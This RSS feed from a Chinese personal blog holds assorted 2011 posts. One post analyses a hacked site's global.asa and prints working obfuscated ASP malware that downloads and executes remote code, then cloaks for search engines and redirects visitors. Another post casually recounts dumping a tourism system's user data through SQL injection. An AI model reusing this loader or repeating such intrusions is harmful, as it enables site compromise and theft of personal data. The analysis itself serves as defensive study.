<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>天影的窝</title>
	<atom:link href="http://www.cnwolf.net/index.php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.cnwolf.net</link>
	<description>无聊的人做着无聊的事打发着无聊的时间</description>
	<pubDate>Fri, 09 Sep 2011 01:56:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>社区版面质量要求</title>
		<link>http://www.cnwolf.net/index.php/archives/40</link>
		<comments>http://www.cnwolf.net/index.php/archives/40#comments</comments>
		<pubDate>Mon, 05 Sep 2011 13:44:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[转载收藏]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=40</guid>
		<description><![CDATA[社区版面质量要求：
1、第一页前5条帖子的可读性。
2、同一ID不能有3条帖子连续出现。
3、第一页至少有2条能激发讨论、争论愿望的帖子。
4、消灭0回复，保持0垃圾帖子。
5、本地化的帖子最少占整体版面的1/4。
6、好帖子及时加精华、高亮（高亮显示最多占整体版面的1/5）。
]]></description>
			<content:encoded><![CDATA[<p>社区版面质量要求：</p>
<p>1、第一页前5条帖子的可读性。</p>
<p>2、同一ID不能有3条帖子连续出现。</p>
<p>3、第一页至少有2条能激发讨论、争论愿望的帖子。</p>
<p>4、消灭0回复，保持0垃圾帖子。</p>
<p>5、本地化的帖子最少占整体版面的1/4。</p>
<p>6、好帖子及时加精华、高亮（高亮显示最多占整体版面的1/5）。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/40/feed</wfw:commentRss>
		</item>
		<item>
		<title>打印机安装驱动之后无法打印</title>
		<link>http://www.cnwolf.net/index.php/archives/38</link>
		<comments>http://www.cnwolf.net/index.php/archives/38#comments</comments>
		<pubDate>Wed, 24 Aug 2011 01:56:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[技术随笔]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=38</guid>
		<description><![CDATA[东芝 estudio181 安装之后，打印，提示 错误  正在打印。
以前是重启下打印机就好了。今天公司以前电脑搬地方，换了台电脑，不管怎么折腾，驱动能装上，但就是不能打印。
网上说有些精简版系统缺系统文件，下好之后依旧不能装。
无奈，实在不想折腾了，喊来卖打印机的折腾。2小时候再换了台电脑终于搞定了。
说有的系统不能装。安装的时候提示com4口被占用，不管，安装完之后去设备管理器里重新安装驱动，它会自动调整com口。。
]]></description>
			<content:encoded><![CDATA[<p>东芝 estudio181 安装之后，打印，提示 错误  正在打印。<br />
以前是重启下打印机就好了。今天公司以前电脑搬地方，换了台电脑，不管怎么折腾，驱动能装上，但就是不能打印。<br />
网上说有些精简版系统缺系统文件，下好之后依旧不能装。<br />
无奈，实在不想折腾了，喊来卖打印机的折腾。2小时候再换了台电脑终于搞定了。<br />
说有的系统不能装。安装的时候提示com4口被占用，不管，安装完之后去设备管理器里重新安装驱动，它会自动调整com口。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/38/feed</wfw:commentRss>
		</item>
		<item>
		<title>差点喝茶了</title>
		<link>http://www.cnwolf.net/index.php/archives/36</link>
		<comments>http://www.cnwolf.net/index.php/archives/36#comments</comments>
		<pubDate>Fri, 19 Aug 2011 16:03:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[心情记事]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=36</guid>
		<description><![CDATA[没意思，我就发个提议抵制PX的帖子，poli。ce就找到我家，我没在家。留个电话给我，打过去一问，……
什么人啊。我又没游行，又没非法集会。
操蛋的社会，和谐啊
]]></description>
			<content:encoded><![CDATA[<p>没意思，我就发个提议抵制PX的帖子，poli。ce就找到我家，我没在家。留个电话给我，打过去一问，……<br />
什么人啊。我又没游行，又没非法集会。<br />
操蛋的社会，和谐啊</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/36/feed</wfw:commentRss>
		</item>
		<item>
		<title>微信还是不错的</title>
		<link>http://www.cnwolf.net/index.php/archives/29</link>
		<comments>http://www.cnwolf.net/index.php/archives/29#comments</comments>
		<pubDate>Thu, 18 Aug 2011 03:15:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[闲谈八卦]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=29</guid>
		<description><![CDATA[新版的已经支持QQ离线消息了。而且支持查找附近的人。
不过这个功能可以进一步发展，比如加入谷歌地图，将附近的人定位到地图上。
这样能准确判断谁跟谁。。。
]]></description>
			<content:encoded><![CDATA[<p>新版的已经支持QQ离线消息了。而且支持查找附近的人。</p>
<p>不过这个功能可以进一步发展，比如加入谷歌地图，将附近的人定位到地图上。</p>
<p>这样能准确判断谁跟谁。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/29/feed</wfw:commentRss>
		</item>
		<item>
		<title>奇虎360收购诺赛科技</title>
		<link>http://www.cnwolf.net/index.php/archives/24</link>
		<comments>http://www.cnwolf.net/index.php/archives/24#comments</comments>
		<pubDate>Mon, 15 Aug 2011 12:56:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[闲谈八卦]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=24</guid>
		<description><![CDATA[
早有耳闻，所以听到新闻时也不足为奇。
前一阵子找web安全外部监控的时候就发现360也在做，只不过很很很 一般。
其实收购IIScan 对当事人来说可能是好事，价钱据说也不少。
对对其他创业团队就不公平了。首先360已经收购了，就不会在收购其他web安全扫描厂家。
而其他创业团队却增加了一个360为竞争对手。如果没有其他大公司收购这些小公司，必然受到360的各种打击而倒台，
这是对网络安全技术的一种损失，是安全届的损失，严重点说，会阻碍网络安全的发展。。
横向的看，360今天能收购web安全扫描，明天就能收购做盗版碟的，过几天再收购播放器，然后再收购什么一大堆有点创意的公司。。
也许这就是360的策略吧。真的到了那天，肯定会和qq正面对决的。让我们拭目以待吧。。。
]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" title="360 qq" src="http://www.unisk.com.cn/cj/Gather/Article/20101203/S/201012031139457961.jpg" alt="" width="220" height="165" /><br />
早有耳闻，所以听到新闻时也不足为奇。<br />
前一阵子找web安全外部监控的时候就发现360也在做，只不过很很很 一般。</p>
<p>其实收购IIScan 对当事人来说可能是好事，价钱据说也不少。</p>
<p>对对其他创业团队就不公平了。首先360已经收购了，就不会在收购其他web安全扫描厂家。</p>
<p>而其他创业团队却增加了一个360为竞争对手。如果没有其他大公司收购这些小公司，必然受到360的各种打击而倒台，</p>
<p>这是对网络安全技术的一种损失，是安全届的损失，严重点说，会阻碍网络安全的发展。。</p>
<p>横向的看，360今天能收购web安全扫描，明天就能收购做盗版碟的，过几天再收购播放器，然后再收购什么一大堆有点创意的公司。。</p>
<p>也许这就是360的策略吧。真的到了那天，肯定会和qq正面对决的。让我们拭目以待吧。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/24/feed</wfw:commentRss>
		</item>
		<item>
		<title>一种新型的挂马方式</title>
		<link>http://www.cnwolf.net/index.php/archives/18</link>
		<comments>http://www.cnwolf.net/index.php/archives/18#comments</comments>
		<pubDate>Sat, 13 Aug 2011 03:54:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[技术随笔]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=18</guid>
		<description><![CDATA[无意中发现的，利用搜索引擎跳转来执行恶意代码。其实这种方式或许已经出来很久了，但还是刚被揭开面纱。
实现原理也很简单，利用http包中的referer。referer就是检测页面来源的，有时候页面防盗链也会利用referer。
事情的起因是这样的，某日发现从百度点击连云港党建网，会跳转到恶意网站。但正常在浏览器中输入是不会出现该现象。第一反应就是程序中有代码对referer作了判断实现跳转，但模糊的搜索了一遍代码，没有发现十分明显的问题。asp(.net)的
开始怀疑服务器问题，可同服务器的其他站点并不存在该问题，而且查看解析asp的asp.dll并没有被篡改的迹象。IIS中的文档页脚也正常。
目光再次回到代码上，后来在朋友的提醒下，才发现global.asa这个文件。这个文件是个特殊文件，不用在代码中调用，默认全局调用。

来看看global.asa的代码

（这儿实际上空了n行，用来迷惑之用）
（这儿实际上空了n行，用来迷惑之用）
'by*diao
'by*aming
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
 url="h"&#038;"t"&#038;"t"&#038;"p"&#038;":"&#038;"/"&#038;"/"&#038;"w"&#038;"w"&#038;"w"&#038;"."&#038;"t"&#038;"a"&#038;"y"&#038;"e"&#038;"q"&#038;"u"&#038;"."&#038;"c"&#038;"o"&#038;"m"&#038;"/"&#038;"t"&#038;"x"&#038;"t"&#038;"/"&#038;"g"&#038;"l"&#038;"o"&#038;"b"&#038;"a"&#038;"l"&#038;"s"&#038;"."&#038;"t"&#038;"x"&#038;"t"（这写的够花的的吧，去除&#038;“后http://www.tayequ.com/txt/globals.txt）
 Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")  (远程载入文档)
 ObjXMLHTTP.Open "GET",url,False
 ObjXMLHTTP.setRequestHeader "User-Agent",url
 ObjXMLHTTP.send
 GetHtml=ObjXMLHTTP.responseBody
 Set ObjXMLHTTP=Nothing
 set objStream = Server.CreateObject("Adodb.Stream")
 objStream.Type = 1
 objStream.Mode =3
 objStream.Open
 objStream.Write GetHtml
 objStream.Position = 0
 objStream.Type = 2
 objStream.Charset = "gb2312"
 GetHtml = objStream.ReadText
 objStream.Close
 if instr(GetHtml,"by*aming")>0 then
  execute GetHtml
 end if
end sub
'sub Session_OnEnd
'end sub

 [...]]]></description>
			<content:encoded><![CDATA[<p>无意中发现的，利用搜索引擎跳转来执行恶意代码。其实这种方式或许已经出来很久了，但还是刚被揭开面纱。</p>
<p>实现原理也很简单，利用http包中的referer。referer就是检测页面来源的，有时候页面防盗链也会利用referer。</p>
<p>事情的起因是这样的，某日发现从百度点击连云港党建网，会跳转到恶意网站。但正常在浏览器中输入是不会出现该现象。第一反应就是程序中有代码对referer作了判断实现跳转，但模糊的搜索了一遍代码，没有发现十分明显的问题。asp(.net)的</p>
<p>开始怀疑服务器问题，可同服务器的其他站点并不存在该问题，而且查看解析asp的asp.dll并没有被篡改的迹象。IIS中的文档页脚也正常。</p>
<p>目光再次回到代码上，后来在朋友的提醒下，才发现global.asa这个文件。这个文件是个特殊文件，不用在代码中调用，默认全局调用。</p>
<p><span id="more-18"></span></p>
<p>来看看global.asa的代码</p>
<blockquote><p><code><br />
（这儿实际上空了n行，用来迷惑之用）</p>
<p>（这儿实际上空了n行，用来迷惑之用）</p>
<p>'by*diao<br />
'by*aming<br />
sub Application_OnStart<br />
end sub</p>
<p>sub Application_OnEnd<br />
end sub</p>
<p>sub Session_OnStart<br />
 url="h"&#038;"t"&#038;"t"&#038;"p"&#038;":"&#038;"/"&#038;"/"&#038;"w"&#038;"w"&#038;"w"&#038;"."&#038;"t"&#038;"a"&#038;"y"&#038;"e"&#038;"q"&#038;"u"&#038;"."&#038;"c"&#038;"o"&#038;"m"&#038;"/"&#038;"t"&#038;"x"&#038;"t"&#038;"/"&#038;"g"&#038;"l"&#038;"o"&#038;"b"&#038;"a"&#038;"l"&#038;"s"&#038;"."&#038;"t"&#038;"x"&#038;"t"（这写的够花的的吧，去除&#038;“后http://www.tayequ.com/txt/globals.txt）<br />
 Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")  (远程载入文档)<br />
 ObjXMLHTTP.Open "GET",url,False<br />
 ObjXMLHTTP.setRequestHeader "User-Agent",url<br />
 ObjXMLHTTP.send<br />
 GetHtml=ObjXMLHTTP.responseBody<br />
 Set ObjXMLHTTP=Nothing<br />
 set objStream = Server.CreateObject("Adodb.Stream")<br />
 objStream.Type = 1<br />
 objStream.Mode =3<br />
 objStream.Open<br />
 objStream.Write GetHtml<br />
 objStream.Position = 0<br />
 objStream.Type = 2<br />
 objStream.Charset = "gb2312"<br />
 GetHtml = objStream.ReadText<br />
 objStream.Close<br />
 if instr(GetHtml,"by*aming")>0 then<br />
  execute GetHtml<br />
 end if<br />
end sub</p>
<p>'sub Session_OnEnd<br />
'end sub</p>
<p></code></p></blockquote>
<p> 大体意思是利用xmlhttp组件下载一个txt，并执行其中的代码。<br />
来看看那个txt代码</p>
<blockquote><p><code>function urldecode(encodestr)<br />
Dim newstr,havechar,lastchar,i,char_c,next_1_c,next_1_Num<br />
newstr=""<br />
havechar=false<br />
lastchar=""<br />
for i=1 to len(encodestr)<br />
char_c=mid(encodestr,i,1)<br />
if char_c="+" then<br />
newstr=newstr &amp; " "<br />
elseif char_c="%" then<br />
next_1_c=mid(encodestr,i+1,2)<br />
next_1_num=cint("&amp;H" &amp; next_1_c)<br />
if havechar then<br />
havechar=false<br />
newstr=newstr &amp; chr(cint("&amp;H" &amp; lastchar &amp; next_1_c))<br />
else<br />
if abs(next_1_num)&lt;=127 then<br />
newstr=newstr &amp; chr(next_1_num)<br />
else<br />
havechar=true<br />
lastchar=next_1_c<br />
end if<br />
end if<br />
i=i+2<br />
else<br />
newstr=newstr &amp; char_c<br />
end if<br />
next<br />
urldecode=newstr<br />
end function<br />
Public Function GetHtml(url)<br />
Set ObjXMLHTTP=Server.createobject("MSX"+"ML2.s"+"erv"+"erXML"+"HTTP")<br />
ObjXMLHTTP.Open "GET",url,False<br />
ObjXMLHTTP.send<br />
GetHtml=ObjXMLHTTP.responseBody<br />
Set ObjXMLHTTP=Nothing<br />
set objStream = Server.CreateObject("Adodb.Stream")<br />
objStream.Type = 1<br />
objStream.Mode =3<br />
objStream.Open<br />
objStream.Write GetHtml<br />
objStream.Position = 0<br />
objStream.Type = 2<br />
objStream.Charset = "gb2312"<br />
GetHtml = objStream.ReadText<br />
objStream.Close<br />
End Function<br />
Function check(user_agent)<br />
allow_agent=split("baidu,baidu",",")<br />
check_agent=false<br />
For agenti=lbound(allow_agent) to ubound(allow_agent)<br />
If instr(user_agent,allow_agent(agenti))&gt;0 then<br />
check_agent=true<br />
exit for<br />
end if<br />
Next<br />
check=check_agent<br />
End function<br />
Function CheckRefresh()<br />
CheckRefresh = False<br />
Dim Botlist,i,Repls<br />
Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask|aol"<br />
Botlist = Split(Krobotlist,"|")<br />
For i = 0 To Ubound(Botlist)<br />
If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) &gt; 0 Then<br />
CheckRefresh = True<br />
Exit For<br />
End If<br />
Next<br />
End Function</code></p>
<p>randomize<br />
If CheckRefresh=true Then<br />
If check(user_agent)=false Then<br />
httplailu=urldecode(LCase(request.servervariables(&#8221;HTTP_REFERER&#8221;)))<br />
if instr(httplailu,&#8221;刺杀&#8221;)&gt;0 or instr(httplailu,&#8221;1.89&#8243;)&gt;0 or instr(httplailu,&#8221;1.76&#8243;)&gt;0 or instr(httplailu,&#8221;1.85&#8243;)&gt;0 or instr(httplailu,&#8221;1.95&#8243;)&gt;0 or instr(httplailu,&#8221;1.96&#8243;)&gt;0 or instr(httplailu,&#8221;传奇&#8221;)&gt;0 or instr(httplailu,&#8221;玉兔&#8221;)&gt;0 or instr(httplailu,&#8221;皓月&#8221;)&gt;0 or instr(httplailu,&#8221;合击&#8221;)&gt;0 then<br />
response.Write GetHtml(&#8221;http://new.happy007.info/asa/new/wudi/g2.txt?dd=&#8221;&amp;cstr(int(rnd*10000)+1))<br />
response.end()<br />
else<br />
response.redirect(&#8221;http://www.shu8.cc/user/xhh.html&#8221;)<br />
response.end()<br />
end if<br />
end If<br />
end if<br />
user_agent=Request.ServerVariables(&#8221;HTTP_USER_AGENT&#8221;)<br />
httpuser=LCase(request.servervariables(&#8221;http_user_agent&#8221;))<br />
if instr(httpuser,&#8221;baidu&#8221;)&gt;0 or instr(httpuser,&#8221;soso&#8221;)&gt;0 or instr(httpuser,&#8221;sogou&#8221;)&gt;0 or instr(httpuser,&#8221;google&#8221;)&gt;0 then<br />
if instr(GetUrl(),&#8221;?&#8221;)=0 and len(GetUrl())&lt;45 then<br />
key1=lcase(GetHtml(&#8221;http://weblink.happy007.info/weblink.asp?weburl=&#8221;&amp;GetUrl()&amp;&#8221;&amp;dd=&#8221;&amp;cstr(int(rnd()*10000)+1)))<br />
response.Write key1<br />
end if<br />
end if<br />
if instr(httpuser,&#8221;baidu&#8221;)&gt;0 then<br />
if instr(GetUrl(),&#8221;?&#8221;)&lt;&gt;0 then<br />
moban=GetHtml(&#8221;http://hi.baidu.com/laodong616/blog/item/ef2347e11884942727979137.html&#8221;)<br />
mb1=split(moban,&#8221;kaishikaishikaishi&#8221;)<br />
mb2=split(mb1(1),&#8221;jiesujiesujiesujiesu&#8221;)<br />
mbkey=split(mb2(1),&#8221;endendendend&#8221;)<br />
mbkey1=split(mbkey(0),&#8221;,&#8221;)<br />
mb3=Replace(mb2(0),&#8221;&lt;&#8221;,&#8221;&lt;&#8221;)<br />
mb4=Replace(mb3,&#8221;&gt;&#8221;,&#8221;&gt;&#8221;)<br />
if request(&#8221;wd&#8221;)&lt;&gt;&#8221;" then<br />
content=GetHtml(&#8221;http://www.baidu.com/s?&#8221;+request.QueryString())<br />
else<br />
content=GetHtml(&#8221;http://www.baidu.com/s?wd=&#8221;&amp;mbkey1(int(rnd()*ubound(mbkey1)))&amp;&#8221;&amp;pn=&#8221;&amp;cstr(int(rnd()*10))+&#8221;0&#8243;)<br />
end if<br />
l1=split(content,&#8221;")<br />
l2=split(l1(1),&#8221;<br />
&#8220;)<br />
l3=l2(0)+&#8221;<br />
&#8221;<br />
l4=split(content,&#8221;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/18/feed</wfw:commentRss>
		</item>
		<item>
		<title>深深的鄙视一下716杰瑞深软</title>
		<link>http://www.cnwolf.net/index.php/archives/3</link>
		<comments>http://www.cnwolf.net/index.php/archives/3#comments</comments>
		<pubDate>Thu, 11 Aug 2011 02:51:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[心情记事]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=3</guid>
		<description><![CDATA[

记得刚大学毕业的时候，在新海中学有个连云港市大型招聘会，于是带着简历路过杰瑞深软。一看，人家只招研究生，搞delphi开发。
我厚着脸皮硬塞了份简历给人家，我就开始吹网络安全，sql注入。结果人家问我sql注入怎么防，其实，当初我对sql injection不怎么熟，扯的破绽百出，那个人可能懂点，于是很尴尬。。
然后我又说我用过linux，然后人家问我用过哪些发行版，我就说我用过redhat，ubuntu。debian，centos……没用过，没敢说。
还是被鄙视了……
后来的几天，没任何动静，于是亲自去了趟716，结果门卫不让进，没辙，叫门卫联系深软，结果人家说，你水平不够，……
前几天，某哥们说从某数据库里翻到了谁谁的资料，一打听，原来是连云港旅游年卡系统。
于是看了下该系统，发现是杰瑞深软做的，.net开发的。在用户查询界面随手输入‘’，报错。报出详细的sql语句，oracle的库，看来webconfig没有屏蔽错误信息。
拿起穿山甲，就开始跑，果然，跑出了年卡用户的一些相关信息。
后来在群里说了下该漏洞，一杯茶的功夫，旅游局的同行就加群找过来，详细的跟他们说了……
几天之后，再去看该注点，依然可以注射，只是关闭了webconfig的错误信息。一问，说修复了啊，已经不显示sql语句了。
狂汗，原来深软的人以为关闭错误信息就是防注入？
哥终于可以深深的鄙视一把716，杰瑞深软了……
 
 

]]></description>
			<content:encoded><![CDATA[<div></div>
<p><span class="Apple-style-span" style="word-spacing: 0px; font: 12px/17px Verdana, 'BitStream vera Sans', Helvetica, sans-serif; text-transform: none; color: #555555; text-indent: 0px; white-space: normal; letter-spacing: normal; background-color: #ffffff; orphans: 2; widows: 2; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;"></p>
<p style="margin: 0px 0px 10px; padding: 0px;">记得刚大学毕业的时候，在新海中学有个连云港市大型招聘会，于是带着简历路过杰瑞深软。一看，人家只招研究生，搞delphi开发。</p>
<p style="margin: 0px 0px 10px; padding: 0px;">我厚着脸皮硬塞了份简历给人家，我就开始吹网络安全，sql注入。结果人家问我sql注入怎么防，其实，当初我对sql injection不怎么熟，扯的破绽百出，那个人可能懂点，于是很尴尬。。</p>
<p style="margin: 0px 0px 10px; padding: 0px;">然后我又说我用过linux，然后人家问我用过哪些发行版，我就说我用过redhat，ubuntu。debian，centos……没用过，没敢说。</p>
<p style="margin: 0px 0px 10px; padding: 0px;">还是被鄙视了……</p>
<p style="margin: 0px 0px 10px; padding: 0px;">后来的几天，没任何动静，于是亲自去了趟716，结果门卫不让进，没辙，叫门卫联系深软，结果人家说，你水平不够，……</p>
<p style="margin: 0px 0px 10px; padding: 0px;">前几天，某哥们说从某数据库里翻到了谁谁的资料，一打听，原来是连云港旅游年卡系统。</p>
<p style="margin: 0px 0px 10px; padding: 0px;">于是看了下该系统，发现是杰瑞深软做的，.net开发的。在用户查询界面随手输入‘’，报错。报出详细的sql语句，oracle的库，看来webconfig没有屏蔽错误信息。</p>
<p style="margin: 0px 0px 10px; padding: 0px;">拿起穿山甲，就开始跑，果然，跑出了年卡用户的一些相关信息。</p>
<p style="margin: 0px 0px 10px; padding: 0px;">后来在群里说了下该漏洞，一杯茶的功夫，旅游局的同行就加群找过来，详细的跟他们说了……</p>
<p style="margin: 0px 0px 10px; padding: 0px;">几天之后，再去看该注点，依然可以注射，只是关闭了webconfig的错误信息。一问，说修复了啊，已经不显示sql语句了。</p>
<p style="margin: 0px 0px 10px; padding: 0px;">狂汗，原来深软的人以为关闭错误信息就是防注入？</p>
<p style="margin: 0px 0px 10px; padding: 0px;">哥终于可以深深的鄙视一把716，杰瑞深软了……</p>
<p> </p>
<p> </p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/3/feed</wfw:commentRss>
		</item>
		<item>
		<title>博客又开鸟</title>
		<link>http://www.cnwolf.net/index.php/archives/1</link>
		<comments>http://www.cnwolf.net/index.php/archives/1#comments</comments>
		<pubDate>Mon, 08 Aug 2011 02:49:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[转载收藏]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=1</guid>
		<description><![CDATA[想把之前的博客（cnwolf.net）弄出来，于是好不容易找到源码。于是找数据库，找了半天没找到，心想有当初wordpress的备份，结果翻遍硬盘终于找到了，不过悲剧的是，尼玛竟然是个快捷方式，内流满面啊。从头开始吧，这次一定要有耐心。
看了一下以前朋友的博客，竟然都还留着哥的友情链接，感动啊！~~~~ swing ，feng ，鸡蛋，hidehai，独自等待
最后感谢下motty小朋友提供空间。
]]></description>
			<content:encoded><![CDATA[<p><span>想把之前的博客（cnwolf.net）弄出来，于是好不容易找到源码。于是找数据库，找了半天没找到，心想有当初wordpress的备份，结果翻遍硬盘终于找到了，不过悲剧的是，尼玛竟然是个快捷方式，内流满面啊。从头开始吧，这次一定要有耐心。</span></p>
<p>看了一下以前朋友的博客，竟然都还留着哥的友情链接，感动啊！~~~~ swing ，feng ，鸡蛋，hidehai，独自等待</p>
<p><span>最后感谢下motty小朋友提供空间。</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/1/feed</wfw:commentRss>
		</item>
		<item>
		<title>wordpress 侧边栏显示评论内容</title>
		<link>http://www.cnwolf.net/index.php/archives/32</link>
		<comments>http://www.cnwolf.net/index.php/archives/32#comments</comments>
		<pubDate>Sat, 25 Sep 2010 05:10:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[技术随笔]]></category>

		<guid isPermaLink="false">http://www.cnwolf.net/?p=32</guid>
		<description><![CDATA[下午花了点时间，参照网上的改法。其实只需修改default-widget.php。




]]></description>
			<content:encoded><![CDATA[<p><span>下午花了点时间，参照网上的改法。其实只需修改default-widget.php。</span></p>
<p><span><br />
</span></p>
<blockquote><p>
<code><?php</p>
<p>function utftrim($str)<br />
{<br />
$len = strlen($str);<br />
for ($i=strlen($str)-1; $i>=0; $i-=1)<br />
{<br />
$hex .= &#8216; &#8216;.ord($str[$i]);<br />
$ch = ord($str[$i]);<br />
if (($ch &#038; 128)==0) return (substr($str,0,$i));<br />
if (($ch &#038; 192)==192) return (substr($str,0,$i));<br />
}<br />
return($str.$hex);<br />
}<br />
if ( $comments ) : foreach ( (array) $comments as $comment) :<br />
$comment_content = strip_tags($comment->comment_content);<br />
$comment_content = stripslashes($comment_content);<br />
$comment_content = preg_replace(&#8217;/\[qu(.(?!\[\/quote]))+.\[\/quote]/si&#8217;, &#8221;, $comment_content);<br />
$comment_content = preg_replace(&#8217;/\s*:em\d\d:\s*/si&#8217;,&#8221;, $comment_content);<br />
$comment_excerpt = substr($comment_content,0,30);<br />
$comment_excerpt = utftrim($comment_excerpt);<br />
echo &#8216;</p>
<p>&#8216; . /* translators: comments widget: 1: comment author, 2: post link */ sprintf(_x(&#8217;%1$s : %2$s&#8217;, &#8216;widgets&#8217;), get_comment_author_link(), &#8221;.$comment_excerpt . &#8216;&#8230;&#8217;) . &#8216;<br />
&#8216;;<br />
endforeach; endif;?></code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.cnwolf.net/index.php/archives/32/feed</wfw:commentRss>
		</item>
	</channel>
</rss>

